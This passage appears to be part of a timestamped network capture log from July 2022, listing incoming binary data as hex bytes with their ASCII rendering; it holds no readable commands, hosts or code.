2022-07-20 17:09:01 UTC	6320	IN	Data Raw: c9 16 e1 26 46 e3 87 1f cf 80 53 22 36 35 b6 ef e3 47 e6 85 fc 5f cb d2 6c 66 9b 70 c3 9e 69 23 0b 06 38 b5 48 3c 39 8d af 17 da f7 7b 9a e4 2b e4 93 3b a4 6b 20 5f 28 86 cb 06 7e ee 5c bf 0d 0d e4 94 32 aa 2b 17 8f 26 93 ba 1a 3b d2 ae 87 e7 31 eb 0f 2a ab f2 83 c0 0d 1b b6 e5 65 43 2b d6 11 2a 98 7a 72 28 1d e5 07 b6 3f 7f 58 66 b2 ed d1 21 82 e1 03 10 6f 04 32 dd fc b9 74 77 a5 67 c7 dd f3 18 3c 04 38 8e 52 4d c6 8a d6 f2 b7 bb cd a0 c5 b8 7d ac 52 4f 62 c8 05 d4 b7 56 29 45 25 e4 70 08 d0 75 63 cc da d4 ff 00 5b 0d 5d 9a 22 45 5e a5 59 68 79 4d cb f6 b5 47 b7 18 b7 5b ef b4 5c 86 c6 27 b1 81 f1 46 35 2f 93 8f 25 c2 46 37 09 2a 5d 89 e3 5f 15 7e 2d 3d d9 b6 c1 ba e3 bb 6d 2e 17 2a 2a b3 47 5e f0 1f c9 f1 5f ee 6a fb b8 a3 99 d5 ec cc 78 f2 72 26 35 31 Data Ascii: &FS"65G_lfpi#8H<9{+;k _(~\2+&;1eC+zr(?Xf!o2twg<8RM}RObV)E%puc[]"E^YhyMG[\'F5/%F7]_~-=m.*G^_jxr&51
2022-07-20 17:09:01 UTC	6336	IN	Data Raw: 19 38 41 55 22 e9 89 5a d6 78 d4 52 d3 cc f7 4b 1f 75 5a db 74 cf 6c 8c b1 68 e2 99 95 dd 8d c4 2f 2d 38 2d 21 f0 ad bd d4 d3 5d b7 05 23 37 43 93 23 48 f5 63 71 ed af 83 a7 dd 5f b3 ad 1b be 60 db dd 01 17 3b 82 40 5f a0 7b 4f 97 49 19 9a 4f cb 02 e7 5d 6d c7 ed d1 32 05 46 3f 5e 94 da 2e 86 de 94 8d 40 3e d3 da c7 cc d7 68 68 bd 41 8f 39 6b 49 e5 e0 41 e0 41 fa f4 b9 b7 28 15 10 64 82 a1 d4 b1 35 ee af d2 ce de 6d 60 b0 61 66 a8 30 49 1b a8 e3 ec e1 a5 c4 0b a9 94 36 bd ea bd d8 f1 a6 a9 bb 42 cc 48 e2 07 d1 c4 eb 4e 46 e1 99 90 4a 61 a4 4c 48 e5 59 1e c2 4f 87 be 9d 3b 7e de 83 8e 6c 4c 4e 0f 2c 61 6b ec e3 fa ab ad 1b d6 68 10 c7 91 b6 b2 c9 10 34 91 b8 12 ac 7b b7 44 eb 76 af 1c 2b e6 2f 25 c1 f1 f4 50 5e 47 45 2c 39 8a eb 88 ea a4 13 63 7a 88 ca b0 Data Ascii: 8AU"ZxRKuZtlh/-8-!]#7C#Hcq_`;@_{OIO]m2F?^.@>hhA9kIAA(d5m`af0I6BHNFJaLHYO;~lLN,akh4{Dv+/%P^GE,9cz
2022-07-20 17:09:01 UTC	6344	IN	Data Raw: 45 1e 04 dd 38 32 a2 cb 89 94 30 78 c3 0f b2 e9 28 56 57 d7 41 f5 57 fb 2a f8 ab f9 bd 8a 57 9e 31 c4 c0 e6 ad 4f f2 1b 95 5f e0 e5 d7 2b 78 9a 16 68 dc 15 65 24 15 61 42 08 fa 46 b6 37 1b 38 13 6e 4c 28 65 16 c7 3b eb 0f bc bf c4 f8 d9 b9 ab 4d d9 c4 61 98 2c 80 2e 26 45 e5 e6 f1 b7 b5 4d 61 dd 32 23 4e 92 48 c6 22 41 31 93 54 34 f3 c4 79 5b 4d 21 df 72 a7 cf 87 25 e7 4c 25 45 58 c9 48 c5 b6 83 77 cc 54 5e ee a5 95 be 9d 15 87 93 1c 52 03 3a 19 23 3c 08 0c 55 bf 4a 3f 76 ef 8d 75 e7 5e 04 07 22 81 8f a2 c3 9a 95 76 cd 0a 02 57 2d 2e bd 95 dd 3d 51 8e 3d 4c bb 78 c2 95 0c 51 92 65 c9 50 02 b2 d3 e6 47 1c 5e 57 91 57 c5 f7 b4 9f d5 db 4f fa 56 36 1a 6d e8 cf b9 e4 64 86 88 5b 73 b2 2a bd cd 25 a9 c9 1c 77 7c a8 7e 5c 69 e5 ba ed 4e fa 47 35 b0 32 96 4d 8f Data Ascii: E820x(VWAWW1O_+xhe$aBF78nL(e;Ma,.&EMa2#NH"A1T4y[M!r%L%EXHwT^R:#<UJ?vu^"vW-.=Q=LxQePG^WWOV6md[s%w\|~\iNG52M
2022-07-20 17:09:01 UTC	6360	IN	Data Raw: 31 9c ac b6 26 57 c6 29 d3 52 00 5b 18 ab a4 71 84 f7 35 1f 9f b2 6e b0 c5 26 66 7c 65 a3 36 dc 43 02 6a 7b a5 b4 e6 6c fc 7d c6 04 c2 c4 6f 9d 3c 58 e5 8f 60 06 21 61 56 ff 00 32 fb 7e c6 b6 e4 db c2 40 64 0a c0 9f cc 64 e8 5e 8c 97 ec 67 51 13 b5 c9 bf a8 53 5d eb d4 33 e0 66 ed f2 cb 22 bc 2c aa f2 a2 0e 1c 4f 3b 7b f6 2f 9b 58 ee db 56 44 99 32 65 63 41 8d 1c f7 f5 52 51 38 43 1f 15 11 da aa d6 c8 8c a9 77 71 3e 63 e9 0f ae 77 29 33 65 8a 29 17 a7 24 2b d3 6f 67 1f e2 69 03 ec d9 18 98 f1 e6 cf 22 32 4d 42 a2 fa b9 af f7 3c 7a b6 df 68 3c b8 dc 15 8d c8 65 c6 d9 79 9a e7 dc 68 ea 1d ec 48 fe fa e9 fe 91 dc 63 cf 49 e4 cb 54 44 e9 97 99 89 26 a5 7b d2 77 b9 7d ef 7f 5a 22 8d f7 5d ca 0d df 21 53 1a 39 51 a1 88 13 c5 d0 1b a0 97 8f 37 cc 4b da df 2f c7 Data Ascii: 1&W)R[q5n&f\|e6Cj{l}o<X`!aV2~@dd^gQS]3f",O;{/XVD2ecARQ8Cwq>cw)3e)$+ogi"2MB<zh<eyhHcITD&{w}Z"]!S9Q7K/
2022-07-20 17:09:01 UTC	6376	IN	Data Raw: 9c 10 6e 17 d0 63 fd ba ba a8 ec a2 c6 3e 3e 34 52 63 e2 42 7f 2f 1d 6d 8d 7c 4d de 64 b9 9b e6 78 6d f0 78 74 06 66 e6 d0 64 74 a4 7e 9c 34 b6 eb 4d 01 f0 db 25 56 dd 06 3d 43 b6 6d aa 98 b0 ca d9 99 20 73 24 0a 58 54 fb 59 17 e5 a5 cf ef 3c 89 af 57 13 7c dd d1 88 e9 60 63 da 2f 56 02 69 08 3c d7 18 16 e4 89 fc 7e ee 8c 21 2a 72 9b 95 4f 06 93 94 b6 5d e5 4e 77 fb 95 38 de e4 7f 6d 36 d9 a1 9b 26 3f cc 88 51 83 83 64 ab c8 c4 03 e2 b9 6c 7f 32 37 c2 da 5b ea 3d cb 22 27 1b 60 c4 9e 72 56 b5 55 a0 27 f9 8f 91 5b 2e 4f 73 4e 60 31 6d 10 89 a6 cc 96 52 12 da c9 c0 5a a6 de af 48 05 f8 7a 9f c4 d3 09 ff 00 31 33 ab 63 b2 b4 74 1c 7d be f2 b2 f8 b4 16 95 16 72 ea b9 47 dc cf 24 e6 5f a7 45 40 5e d6 e3 ec d7 36 da fa db 7e 55 92 d2 36 02 8c 18 fb 7b d6 f2 f2 Data Ascii: nc>>4RcB/m\|Mdxmxtfdt~4M%V=Cm s$XTY<W\|`c/Vi<~!*rO]Nw8m6&?Qdl27[="'`rVU'[.OsN`1mRZHz13ct}rG$_E@^6~U6{
2022-07-20 17:09:01 UTC	6383	IN	Data Raw: be 9a b7 ab 32 31 16 1c 74 c6 62 5a 88 8c c0 21 b8 f7 5c 7e 27 27 7b 97 4f c5 e6 a2 f2 84 60 d6 53 93 61 89 8f f3 7d af cb ce a6 6f 29 dd 08 36 c4 9c 7d e7 fc ba 67 0e 24 3b 56 2c 10 cd 22 c4 dd 31 db db c7 9b bb de f1 69 76 46 ff 00 b7 6d ca 49 49 72 e5 ad 40 5e 0a 7c 3c be 2f d4 d2 3d ef 78 96 06 a4 f0 e3 99 89 25 f8 b4 87 fa cc 9f 2f ee 69 6c 79 7b ae fd 13 41 1b 15 58 94 b5 88 a6 a5 3b cc ca a2 d5 58 93 fa 2e ab b7 f9 7b ce 43 39 cb 33 76 e6 c3 f0 fe d5 29 fd 1e dd 19 a5 97 9b c2 bd d1 f0 d5 1e 5f ac 77 56 0b 1c 10 45 86 1e 95 62 43 48 ab e6 b1 fc 76 f8 2d d2 7c 7c e3 0e 4a 6e 19 b9 86 69 96 e0 14 ab 49 50 c2 d6 f1 46 90 bb 7f 93 dc d2 14 c3 18 c9 f9 9c c9 2f 62 2a 89 d8 08 f3 bf 96 ef 0f 9b 5f 7e 6e 49 71 dc 42 40 79 ad 63 5e d5 a7 85 5b c3 a7 53 65 Data Ascii: 21tbZ!\~''{O`Sa}o)6}g$;V,"1ivFmIIr@^\|</=x%/ily{AX;X.{C93v)_wVEbCHv-\|\|JniIPF/b*_~nIqB@yc^[Se
2022-07-20 17:09:01 UTC	6399	IN	Data Raw: 6f a7 87 9e 83 2f 24 65 8d ce 3c 71 ed ae 53 8d bc cc ac 26 b8 91 1e 3d 95 93 88 01 5a ee 9a 84 55 65 b5 59 bc da ab f4 f6 ef fe b9 95 24 2f 12 41 09 42 e3 a7 c7 9b 80 86 3e a3 69 56 f7 b3 43 36 d7 8f 9d 1c 67 15 cc cd 0b a3 1a 3b f2 21 bd d3 ed 69 1e d1 0b cb 3d d8 ac d1 08 08 49 28 68 4f 82 ff 00 0d af e6 7d 6c ee a1 8a 78 7c c2 02 3e 3a 30 d5 53 c3 d3 f4 4a aa 1b 12 07 f6 57 55 cf 85 33 8c 58 93 b3 c1 2c 06 f8 26 8c 51 85 47 cc f3 24 ed 22 fe 25 da 96 83 60 9f 6c cb 39 73 66 99 8c c5 9a aa cc a5 b8 fc bb d9 7b af e6 b9 2c d3 dd ba 5e ba ac 70 49 40 82 ea ba d4 37 84 3f 54 15 d1 0f 87 8d 9b 7a fe 1e 44 66 d0 55 39 09 ef db c2 c6 66 b7 58 03 71 2a 9c 18 e9 8e 0d ca bd 0b f0 d4 8e 5d 6f db c4 f3 00 69 4e ed b2 27 a8 63 75 74 0d 38 5a ac a2 8a 6f 03 b8 6e Data Ascii: o/$e<qS&=ZUeY$/AB>iVC6g;!i=I(hO}lx\|>:0SJWU3X,&QG$"%`l9sf{,^pI@7?TzDfU9fXq*]oiN'cut8Zon
2022-07-20 17:09:01 UTC	6415	IN	Data Raw: b2 c3 d9 c2 bf a7 e9 3a ea 33 ed 5b 74 1b 7b 65 4d 19 64 81 ec 95 a1 76 95 05 3f 11 a5 c0 ce 54 96 26 8e ef 99 12 cb dd e7 8e 6d 4a ef de 91 56 8d 33 f0 26 8c e3 4a 68 af 1d 42 12 07 72 68 1e f9 a0 93 ff 00 52 26 d6 93 89 54 de 51 60 41 6b af 36 38 fb 3e cf b3 4c 2c a9 a2 f0 3e 8f 77 aa a6 31 5e 37 ad bd 82 a3 5a f3 62 0d 01 2d da 0f 03 f4 6b 1c 8d b2 6c 09 ce 34 e6 82 a1 89 43 c5 aa 38 59 ee e9 aa 2f 57 19 12 34 ea 48 5d 54 25 39 d9 ab 45 b5 7c fa 13 3a a9 57 53 90 24 7f 65 1d 39 94 83 d8 29 5e db 9c ad 4c 60 39 87 fc 74 76 df 93 16 4b 11 2d 23 b5 a8 2a 69 5f 87 4f b6 af 44 67 4f 2a 19 3a 31 af 11 20 67 17 a9 e6 44 49 63 89 79 1b 4e a3 ff 00 6d 97 6d c9 4e 75 79 04 94 68 a4 52 14 a7 2b 5d 7b 3b 49 2a 37 91 1b 42 79 a1 7c c2 5c 95 d5 8a f3 61 d4 dc de 1e Data Ascii: :3[t{eMdv?T&mJV3&JhBrhR&TQ`Ak68>L,>w1^7Zb-kl4C8Y/W4H]T%9E\|:WS$e9)^L`9tvK-#i_ODgO:1 gDIcyNmmNuyhR+]{;I*7By\|\a
2022-07-20 17:09:01 UTC	6423	IN	Data Raw: b2 39 7c 3f 6f 58 e4 ce f9 12 a4 ab 2d b0 f0 06 33 c6 8c 7b 82 e5 fe 6f 9b 4a 7f f9 0c 78 ac 65 13 c8 86 26 0b 25 16 aa 41 f0 37 8b 99 d7 cb dc d7 04 79 57 95 46 5d eb 0e da be 21 c0 bf 6f 03 5a 99 f1 33 99 f2 9a 35 fc c2 32 a8 a8 a5 69 cc bc bf c4 4b 39 5a ed 13 95 bb a6 34 0d 2b 48 b6 d6 aa aa bc 1a bc b7 5e 9c bc 9e ef 7b 5a 7f d6 f6 89 8b e4 a9 05 a5 a1 64 75 e2 2d 27 f0 e1 5f c3 5f 33 77 19 7b da f3 7b de 51 a1 82 38 21 11 4c d2 5a b2 00 0c 6a 47 37 42 4f 8b f1 63 d1 fc b6 67 55 64 6b 5f bd dd d3 9b aa 82 00 07 10 4f ae a8 1f 70 8d b6 f6 93 26 bc 40 58 c5 2b 56 23 a8 8d ee fd ed 45 66 fa 96 6c 75 e9 e5 a4 53 c0 ef c1 56 8c 80 57 bf 78 f9 88 cb dc f0 68 9d c3 09 30 76 f4 59 99 03 29 51 32 c5 5a bd df 51 e5 e6 5f e5 ea 76 1c 59 f3 9a 68 30 dc e3 63 31 Data Ascii: 9\|?oX-3{oJxe&%A7yWF]!oZ352iK9Z4+H^{Zdu-'__3w{{Q8!LZjG7BOcgUdk_Op&@X+V#EfluSVWxh0vY)Q2ZQ_vYh0c1
2022-07-20 17:09:01 UTC	6439	IN	Data Raw: ee 3b 67 4e b6 e1 85 8b 16 52 5d af 56 a3 96 25 1d be 4a de fd 36 fe 12 7d bd 6a 6e 19 02 00 42 92 da b1 66 e9 cb c1 d7 d7 dc a4 94 12 45 58 6d 43 17 78 c0 49 52 30 81 c5 59 1d 89 62 2b f8 97 2f 9f df d3 5c 2d 87 1b 06 49 9b 1d 44 2d 41 57 e3 42 29 fa 6d e4 d4 b7 5f 1b 61 55 c6 c2 88 17 51 49 32 5c 32 96 3d b6 aa 55 7e 5a 78 6f fb ba c3 d4 be a1 6c 5d bd b1 71 e6 8e 6c 99 14 a3 ac 7d 88 18 54 c9 77 f1 5d a3 fb ba f3 66 09 65 93 08 8b 2c 72 b6 99 78 32 ea 7f ff 00 25 32 b7 b8 1c 48 a0 fd 45 eb b9 30 9e 5c 3d b1 23 92 58 f9 5b 2d a8 58 b5 79 fa 4a c2 ce 9a fe 1d df 6b 50 d9 33 4d 3c 66 7c 86 05 8f 78 0f 65 4d 7b 2b 64 7e 5f 0f ed 68 59 54 06 58 c9 ab af 16 fe ed da 06 66 19 0e 5a 36 2b 71 1c 35 ea 76 7b 38 60 00 20 b7 89 ed cc df 4f 66 a5 cb b5 ec 7e aa c5 Data Ascii: ;gNR]V%J6}jnBfEXmCxIR0Yb+/\-ID-AWB)m_aUQI2\2=U~Zxol]ql}Tw]fe,rx2%2HE0\=#X[-XyJkP3M<f\|xeM{+d~_hYTXfZ6+q5v{8` Of~
2022-07-20 17:09:01 UTC	6455	IN	Data Raw: d8 df 0f 7f 55 ef bb 6d ad 2f 47 22 af 12 0b cb b2 38 62 de 1e 85 a9 1b 33 7f 9a cb 0f bb ae 74 dd 47 38 70 d9 a2 6a b8 e3 e5 c8 bf 17 b5 d7 cf ed 54 ac 85 97 f3 39 18 75 28 ad b3 6d db 6e 62 3c f1 33 fd 13 31 24 02 de 15 b1 b9 f9 ff 00 87 ac 91 f2 71 26 19 52 46 f2 31 50 01 b8 06 55 03 95 56 39 6e 5f d6 d3 17 cb da b7 48 e1 96 39 55 62 59 49 09 31 0a 78 0b 6f 6b 3a 9c 9e 4e a3 75 1d b4 49 c5 db a4 c5 55 67 92 58 94 9e 4e 66 e2 7b 15 1e ef 0f c3 a2 4d b7 63 29 57 6b 07 5b b3 39 56 46 f7 79 e8 eb 32 3d 9a c5 83 5e ed 8f 35 4c b3 63 41 98 e6 79 25 63 92 b7 3b 18 fe 60 2a 3b bf f6 e5 ba 9c ba 5a 1b 17 72 63 8d 19 6e 9d 7b cc 8c 3f 51 2e 6f b5 a6 b9 db 5f 5a 46 9c 45 22 1a 8b 1d 4b 76 79 59 5a ee 5d 1b b4 60 47 34 c5 dc 8b d8 81 c2 9c 0f 7b dd b7 50 db 70 14 Data Ascii: Um/G"8b3tG8pjT9u(mnb<31$q&RF1PUV9n_H9UbYI1xok:NuIUgXNf{Mc)Wk[9VFy2=^5LcAy%c;`*;Zrcn{?Q.o_ZFE"KvyYZ]`G4{Pp
2022-07-20 17:09:01 UTC	6463	IN	Data Raw: c1 e2 a0 a2 d8 2b d8 2b 68 f2 dd a5 f9 bb 64 d8 91 24 b3 91 d1 91 aa a9 75 c6 a4 55 df cb 77 9f 42 64 42 98 d2 d1 78 d3 da a4 8f bb ad e8 f6 f1 13 91 3e 65 ef 8d f9 a8 40 d8 0b 1d 29 f9 da f7 0d f1 63 79 0a 44 83 88 2e 6d a5 7d df c4 66 d5 2e c5 8c 76 67 26 6c b1 39 6e 05 22 52 e5 bf 6f f6 35 03 05 a9 22 b6 42 b1 8a a2 a1 5b 8d 3e 26 d5 ee d1 bc e1 cb 6c 58 48 4d 05 6d 8f b4 01 db fe 2b b4 9e f5 24 11 e2 35 8f d0 aa b8 af c7 cf 52 2c 4d cf 1a b7 db 27 89 1e fc 73 2b 4a 2e 6b 1d 4a 1a a8 ee aa bb 3f 33 2f e1 f3 7c c4 59 63 f8 5f e6 c7 89 9b 1f ff 00 ad 61 88 a3 aa 39 62 28 1a de 78 fd ee 4e 6e 4f 7b 53 72 36 56 5c 74 fc ba a1 11 5e 5c b9 47 08 39 a2 75 69 55 21 fc 5f c3 f9 97 5f dd d6 89 7d 45 9b b7 15 87 35 12 45 08 af 12 70 62 d5 54 46 9a 49 12 49 5a 1b Data Ascii: ++hd$uUwBdBx>e@)cyD.m}f.vg&l9n"Ro5"B[>&lXHMm+$5R,M's+J.kJ?3/\|Yc_a9b(xNnO{Sr6V\t^\G9uiU!__}E5EpbTFIIZ
2022-07-20 17:09:01 UTC	6479	IN	Data Raw: 81 79 75 b7 17 62 5c 8c d1 81 00 63 1c 25 43 96 1c 79 69 d4 bb e2 d7 52 cb 81 e6 54 8f f1 5c 2f 9a d0 a4 8e 4e ef bc be 4d 24 db 30 22 da 61 38 f9 73 44 b9 52 12 f3 35 4d 6e ad 4a fc 3a 5f 7b 1c ce a1 d6 d1 86 51 89 93 f2 c2 b3 2f 7f da ee 75 50 48 57 50 0f 1e df 52 fb 34 6c 98 4b 14 67 a4 52 04 8d 6a cb 40 14 2f c5 a9 fd df 3b 17 72 c8 8a 08 32 15 e3 01 6e 2a 39 47 1e ce 4f 1b 69 a9 da 76 cc 95 55 9e 69 9a 39 98 d4 f5 39 5e 9e ef 79 97 48 33 b6 98 b1 f3 9a 3c 74 48 61 8e 96 30 05 98 fb 6f b2 bd ef 0a f8 b5 92 36 f3 6d 94 ac b2 96 40 b7 b2 63 8f 37 df 7f 65 f1 f8 e8 8b c6 eb d8 38 91 45 6f 38 d9 d3 a1 9f 06 cc 89 63 8e 81 c8 e1 1a 93 46 21 db f8 9a 06 30 90 41 04 ab 29 97 2a 52 2f 58 e2 2a d5 1d d2 bc d7 74 a3 f3 72 eb c9 72 46 12 52 33 24 b5 04 b0 35 53 Data Ascii: yub\c%CyiRT\/NM$0"a8sDR5MnJ:_{Q/uPHWPR4lKgRj@/;r2n9GOivUi99^yH3<tHa0o6m@c7e8Eo8cF!0A)R/X*trrFR3$5S
2022-07-20 17:09:01 UTC	6495	IN	Data Raw: 46 c9 c9 b7 0f 5d 35 cf c9 c6 96 09 21 c8 81 96 61 c5 5d 48 a0 3f 49 5f 2b ae 97 c5 89 29 84 3c 23 a9 09 60 19 90 f1 5a fb 24 5e f2 68 dc ad b8 e0 3a 2e 40 26 19 d5 4a 3f 79 48 22 e8 d8 37 79 3e 1d 3b 93 0e 21 1a e1 6d cc 15 58 ac 92 58 49 76 36 24 76 79 fa 77 34 b2 b4 7f dc d5 5b 74 11 82 a8 3c fd 47 d1 8f f1 3e 3a 04 6a a2 3c 80 b6 3e ad 32 a9 ac ad 83 36 3a c8 91 33 c2 a4 06 61 c6 da f9 b4 c6 5d ae 4d a7 19 84 f6 32 5e 8c 18 10 69 50 6c 5f fa 9e ee b2 df 3f ed 81 86 e5 14 15 42 84 9a 91 de 5b f9 5d 7e da 69 16 6e 64 d3 81 7f 11 4a 9e 1a e5 2f 20 03 a6 c7 5b f7 aa 40 69 14 6a 2d db eb aa 3c 77 c9 dc 55 a6 9e 30 1f 81 05 69 cc 0f f9 3d e7 fb 1a db b9 63 e4 c3 80 f1 63 5a f0 5e 19 dd 7b 78 77 6f 8d f9 ba 7f 67 bd a0 36 58 31 f2 84 45 0b 16 0a 44 a8 4d 08 Data Ascii: F]5!a]H?I_+)<#`Z$^h:.@&J?yH"7y>;!mXXIv6$vyw4[t<G>:j<>26:3a]M2^iPl_?B[]~indJ/ [@ij-<wU0i=ccZ^{xwog6X1EDM
2022-07-20 17:09:01 UTC	6503	IN	Data Raw: 8a 80 1c 80 c7 c3 58 ec 66 66 d4 ee 2b df 1f 00 43 76 1a e9 f4 65 9a 26 28 d7 52 48 56 c7 16 50 de f5 19 b2 b0 0d 60 6d dd ae b1 bf 7a 2f 6f cc 8a e5 59 24 6f e1 8b aa 4f ba cf e1 d4 8f a7 f7 6c ef 4c e4 be c9 96 4c 51 4c ff 00 2f da 2e 3c a1 78 8e eb 7e de ab 7f f9 0e 1c e7 1d 71 5d 84 56 84 31 d3 88 1e 37 65 5f de d6 9f 52 6c 78 7b ec 10 e3 e2 64 07 91 5e e0 6c 25 94 01 e6 f2 af 97 59 9b 69 53 cb fe 9f 74 5e f2 13 6b a3 7e 53 77 7c 7f ab 57 55 69 2d ca 03 8d 55 bc 5e f5 66 7d 0b 97 8c 7a f0 64 08 25 5a 95 5f 60 27 8f 86 fe f6 8a 93 23 d5 0b 6c 51 49 8c fd 2e 05 94 57 b7 f8 b2 2c bc b7 2f 7a dd 7b e9 d8 1f 7e 2d 89 1e 50 eb 63 d1 95 98 35 5a 9d 92 f4 dd bf bf ab 1c 29 1b 1a 18 fa 8c ec f3 70 66 28 00 04 7b bf c3 57 f7 b5 47 62 8a 24 9d 2e 88 df c4 38 3b Data Ascii: Xff+Cve&(RHVP`mz/oY$oOlLLQL/.<x~q]V17e_Rlx{d^l%YiSt^k~Sw\|WUi-U^f}zd%Z_`'#lQI.W,/z{~-Pc5Z)pf({WGb$.8;
2022-07-20 17:09:01 UTC	6519	IN	Data Raw: 9a 5f 2e df 8d 91 b9 66 60 15 fe 33 88 ee ed 22 ad 6a ac 9e 7f da d6 82 e2 77 1e 4d c8 97 0c 8f 80 d0 62 2d ac 87 8e a8 e9 e1 92 3e ac 6a 60 8c b8 a7 39 78 af 46 24 f7 4f d3 e1 d3 1d b2 45 30 be 30 40 f2 32 f1 46 24 50 ff 00 36 2f 7d 34 37 fa 06 74 59 67 13 18 48 ec 7b b6 82 7d b6 f3 f9 6d 6e 56 d7 49 d9 3f db 84 08 b9 9b c1 bf 21 29 45 8c d0 70 fe 61 5e f7 d8 d0 37 db f8 b6 69 69 5f 9f b1 2d 93 1f 86 8c 17 31 7b 02 a7 b7 b6 a1 f1 77 ac b4 20 4a ad 38 b4 aa 5d 52 c0 7d 0a fd eb 75 6f b2 66 36 d7 b4 e5 65 65 23 08 24 4b 23 0e 28 4b 48 3a 4e ac 9f e5 f7 97 dc d5 03 42 d8 e3 a9 84 b1 b2 28 a3 28 51 50 3e 0e f6 b5 34 f8 d9 71 f4 a4 56 05 8f 75 6a cb 5f f9 4d af 3b b8 f9 80 dc c6 23 31 fe 58 60 c4 2b 70 d7 26 e4 ee 54 09 51 58 90 2c 6c 57 2a e5 fb ee cd 3c 58 Data Ascii: _.f`3"jwMb->j`9xF$OE00@2F$P6/}47tYgH{}mnVI?!)Epa^7ii_-1{w J8]R}uof6ee#$K#(KH:NB((QP>4qVuj_M;#1X`+p&TQX,lW*<X
2022-07-20 17:09:01 UTC	6535	IN	Data Raw: 7e 67 c9 7f 17 c1 e4 d3 3d b3 37 f3 d8 e4 2c a1 a4 c7 3d 46 0c b7 10 01 bb 87 0e a5 be 65 56 fb ba 84 49 55 5c 1e c2 0d 41 f6 52 9a 62 f9 e7 06 48 c4 71 88 a5 b8 49 d4 52 6e 17 05 e5 49 2b dd d5 a5 da 97 e9 24 2a d9 94 1e 6c 7d 9a 9e 45 37 03 2b f2 d5 6e f5 b9 ee 32 1c 7c 94 31 48 d7 b1 8e 78 94 07 00 72 aa 64 ac 5f 25 9b cb 3f e2 74 ff 00 13 4e 36 0c 98 37 78 f1 e7 cc 8d 65 cb c6 90 2c 80 80 c1 e8 dd bd 9c c9 2c 5c ad 1f 77 ab dc e7 d2 04 c8 5c 88 51 f6 e8 e5 8d 10 12 50 b1 6e 60 c1 be 1b e7 8b 95 a4 58 fa 7e ef 3e aa 7d 29 ea 7c 6c 75 91 a6 c0 53 21 0b 62 44 40 a8 50 dd 49 7f 2c 3a 6e f3 79 dd 39 b9 2f d0 9e 57 93 2c 7c b5 6d 31 cc f4 30 6f 67 e9 e2 a8 54 b7 31 27 d0 4d b9 aa 37 37 f3 5b 84 f2 6d 8b d3 50 ac f2 27 57 90 ad c0 7c a5 9a 5e 6e 97 82 28 dd Data Ascii: ~g=7,=FeVIU\ARbHqIRnI+$*l}E7+n2\|1Hxrd_%?tN67xe,,\w\QPn`X~>})\|luS!bD@PI,:ny9/W,\|m10ogT1'M77[mP'W\|^n(
2022-07-20 17:09:01 UTC	6543	IN	Data Raw: 61 6e 3e cd 33 f4 5e 26 0a 4e f9 59 28 b3 43 13 50 5e 40 1d bc ae c3 5d 76 3d cb 6d c6 c6 69 1e 45 87 11 c9 06 39 94 58 c4 f8 93 a9 e1 d7 27 f4 6f a8 0e cb 04 b1 c2 b0 bc a6 8c a2 44 2c cc 7b 3a 51 5b e7 f3 6a e3 1b d3 d9 3b ae 67 e7 b3 f1 96 4c 99 16 ab 05 85 61 83 e1 17 fc d9 3c f2 be b3 37 91 96 dc 34 c5 dd 59 46 31 a4 6c de 64 99 72 f2 2f ef 57 42 c3 10 2d 6b dc fb 34 79 df 76 7c 58 94 6c af 8f 34 f1 b5 16 8a 14 02 7f 86 85 55 51 62 bb bd a6 11 6f fb 84 ec 22 9f 08 34 ac a5 0c b0 95 e2 7b cd 12 dc 7c bc da f7 07 0e 3d b2 fc 5f cb e3 ca 90 f1 ab 73 30 24 70 4b e9 7c bf 16 b9 ef aa 33 70 f1 b2 cc 99 d1 84 14 a1 58 d2 d1 ff 00 4e 9d ef 79 d7 56 d9 c4 cc 3f 29 c8 29 92 0e 5f cd 8d f2 ef fe 5c 4b ed 7f 9b cd 47 c4 63 93 01 cb de 3d eb d5 2a e7 c1 98 72 36 Data Ascii: an>3^&NY(CP^@]v=miE9X'oD,{:Q[j;gLa<74YF1ldr/WB-k4yv\|Xl4UQbo"4{\|=_s0$pK\|3pXNyV?))_\KGc=*r6
2022-07-20 17:09:01 UTC	6559	IN	Data Raw: d8 28 a1 b4 83 46 ea fc 52 78 be 1d 75 78 33 60 dc 71 98 e3 48 0d bc 29 c4 11 c3 b6 8d cd a3 bd 49 b2 62 7a 8f 60 8b 70 8d 02 e5 e2 c3 43 4a 1a d9 cb 2a 3f bc 9d fd 4f ca da 60 b2 17 62 52 1b 13 1b 75 af fa 89 53 fc 34 62 46 82 d7 1e cd 7e 78 cd c7 91 32 5a 2a 10 41 b4 8f d1 ad 70 62 e4 07 2a aa 4f 29 24 53 d8 3b 7e ee 9d 98 b2 31 b2 ad b1 66 49 09 a8 7f fe 8d e1 6d 37 c6 11 2f 53 2b 04 d0 a4 2e 92 46 48 af 3f 22 c8 8d 5e 75 f0 eb d3 49 31 45 b2 a9 27 1b 8f df aa f9 ea 00 bd ac 7b 7b b5 1b 88 f2 4d 3a 42 86 d2 c4 29 3a 71 74 46 b1 dc a4 f9 98 f6 53 4b 22 85 b1 da b2 0e 6a 56 9f a7 5e e1 e3 99 2e 6a 1e 03 8f e8 d1 1c a3 71 e0 38 55 d9 6e 46 b6 b7 1a 63 85 b9 3c 8c 98 d2 1b 56 e1 75 7b 29 e6 6d 3d da 30 36 fc fc c5 9f 12 52 24 86 4b d9 4f 00 c0 77 dd 6e d2 Data Ascii: (FRxux3`qH)Ibz`pCJ?O`bRuS4bF~x2ZApb*O)$S;~1fIm7/S+.FH?"^uI1E'{{M:B):qtFSK"jV^.jq8UnFc<Vu{)m=06R$KOwn
2022-07-20 17:09:01 UTC	6575	IN	Data Raw: a6 66 74 89 40 0c 2b 56 5b ae 23 c2 ff 00 7b 97 97 41 f9 a4 6c 62 2c bd 9e 9a 67 6f 60 6b a8 e3 66 26 12 91 29 3c aa 38 d3 ff 00 cd ab 7d 9d 24 c6 f5 56 2e e7 b9 08 21 4b c1 20 06 24 d0 11 c5 85 a7 c3 ff 00 e1 2c f3 69 ec f8 3f ea 18 ee 95 68 cb 8a 16 5a dd d8 07 b7 50 db 46 c3 2e c3 b8 d0 4a b9 10 46 43 38 53 4a 8a dc 63 95 b9 ba 7f 86 bf 77 5e 4f 65 2e d9 e0 92 29 54 09 0f 03 d3 f7 bd fa 66 4c 81 cd 75 f4 8a 8c df 46 4c d9 39 8c 11 da 15 c8 b9 e8 18 05 66 af 2c 8a dd c7 4e 7e fe 92 07 8d 14 a0 6a 3f 1a d7 b2 9e cd 75 6c cc 9c 5c c7 cd 97 36 c9 b0 07 3d 52 21 14 a1 b9 57 a5 20 c6 1c b2 27 8f ab f2 26 ef 47 25 cd ae 63 b9 be 14 79 37 63 06 29 71 ef 53 bb e0 e7 fe 27 dc 